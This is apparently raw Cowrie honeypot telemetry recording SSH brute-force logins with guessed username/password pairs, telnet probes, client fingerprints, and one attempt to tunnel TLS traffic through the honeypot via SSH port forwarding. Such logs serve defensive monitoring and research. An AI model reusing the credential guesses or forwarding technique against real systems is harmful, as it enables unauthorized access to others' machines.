{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x7f2Yr\\x8f\\x1cR\\xc4\\xc0\\no\\xa2\\xcd\\xa6\\x0b\\xcb\\x8e\\x80\\xaf z\\xb0\\xbe\\x98>z\\xac3\\xe5\\x9b: \\xc7\\xf2KM\\xa8\\xf0\\xb6\"\\x99LH\\x86\\xfd\\x12\\\\<\\xd2\\x84\\xd8%C\\'\\x12\\x8e#\\xefA\\x91\\xe9\\xa4D\\n\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 =\\x85\\xf0\\x1c_EU\\xe6d\\x92\\xaa\\xb2U\\xb4\\xb9\\xa8(\\x15\\xd4\\x17\\xcd\\xdbhTvF\\x00:\\xbc\\xcdB.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x7f2Yr\\x8f\\x1cR\\xc4\\xc0\\no\\xa2\\xcd\\xa6\\x0b\\xcb\\x8e\\x80\\xaf z\\xb0\\xbe\\x98>z\\xac3\\xe5\\x9b: \\xc7\\xf2KM\\xa8\\xf0\\xb6\"\\x99LH\\x86\\xfd\\x12\\\\<\\xd2\\x84\\xd8%C\\'\\x12\\x8e#\\xefA\\x91\\xe9\\xa4D\\n\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 =\\x85\\xf0\\x1c_EU\\xe6d\\x92\\xaa\\xb2U\\xb4\\xb9\\xa8(\\x15\\xd4\\x17\\xcd\\xdbhTvF\\x00:\\xbc\\xcdB.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:25.813439Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.059789Z","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59986,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e6a65420c2c","protocol":"ssh","message":"New connection: 91.92.40.36:59986 (159.203.135.109:22) [session: 4e6a65420c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.185628Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.301430Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3\\x8b(\\xa7\\xde\\xb6V\\xc8p\\x01d\\x83j\\xaa!%4\\x17\\x90\\x06\\x02\\xb6\\xe7\\t\\x15a\\x81\\xdf\\xden\\xb6\\x10 \\xc8\\x87\\x07\\x93G\\xa2^Q<\\x7f\\xc5\\x06\\xd4\\x1f\\x1a4\\t\\xfb$\\x8cG>\\x0f\\xa0W\\x84\\xd1\\x1f<\\x14\\x0f\\xee\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 .K\\x9c\\xe0\\x8f\\xfb\\xbf\\xfb\\xac\\x1f\\xe6`\\xbc\\x8e\\x04\\xc23\\xe9\\xad\\x87\\xc7[\\xa8\\xe5v\\x8b\\x02\\xf2A\\x1b\\xd6W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3\\x8b(\\xa7\\xde\\xb6V\\xc8p\\x01d\\x83j\\xaa!%4\\x17\\x90\\x06\\x02\\xb6\\xe7\\t\\x15a\\x81\\xdf\\xden\\xb6\\x10 \\xc8\\x87\\x07\\x93G\\xa2^Q<\\x7f\\xc5\\x06\\xd4\\x1f\\x1a4\\t\\xfb$\\x8cG>\\x0f\\xa0W\\x84\\xd1\\x1f<\\x14\\x0f\\xee\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 .K\\x9c\\xe0\\x8f\\xfb\\xbf\\xfb\\xac\\x1f\\xe6`\\xbc\\x8e\\x04\\xc23\\xe9\\xad\\x87\\xc7[\\xa8\\xe5v\\x8b\\x02\\xf2A\\x1b\\xd6W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.304631Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.485773Z","src_ip":"91.92.40.36","session":"8c31ec6ce79c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.680511Z","src_ip":"123.27.168.40","session":"ccd7142106d4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.937235Z","src_ip":"91.92.40.36","session":"4e6a65420c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:26.956690Z","src_ip":"91.92.40.36","session":"4e6a65420c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.139.136.75","src_port":36686,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f20f1a56e7d","protocol":"telnet","message":"New connection: 147.139.136.75:36686 (10.17.0.5:23) [session: 4f20f1a56e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:27.265996Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:27.892010Z","src_ip":"147.139.136.75","session":"4f20f1a56e7d","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:28.203521Z","src_ip":"147.139.136.75","session":"4f20f1a56e7d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"yana","password":"yana","message":"login attempt [yana/yana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:30.832106Z","src_ip":"91.92.40.36","session":"4e6a65420c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:32.602613Z","src_ip":"91.92.40.36","session":"4e6a65420c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60056,"dst_ip":"159.203.135.109","dst_port":22,"session":"323a99668f65","protocol":"ssh","message":"New connection: 91.92.40.36:60056 (159.203.135.109:22) [session: 323a99668f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:34.307089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:34.834522Z","src_ip":"91.92.40.36","session":"323a99668f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:34.837705Z","src_ip":"91.92.40.36","session":"323a99668f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"wasd","message":"login attempt [dspace/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:37.928646Z","src_ip":"91.92.40.36","session":"323a99668f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:39.883750Z","src_ip":"91.92.40.36","session":"323a99668f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48900,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a0ac0edafe","protocol":"ssh","message":"New connection: 91.92.40.36:48900 (159.203.135.109:22) [session: f4a0ac0edafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:40.928831Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":59873,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc96fb6b3391","protocol":"ssh","message":"New connection: 23.175.50.51:59873 (10.17.0.5:22) [session: dc96fb6b3391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:41.658965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:41.663289Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:41.765370Z","src_ip":"91.92.40.36","session":"f4a0ac0edafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:41.786677Z","src_ip":"91.92.40.36","session":"f4a0ac0edafe","protocol":"ssh"}
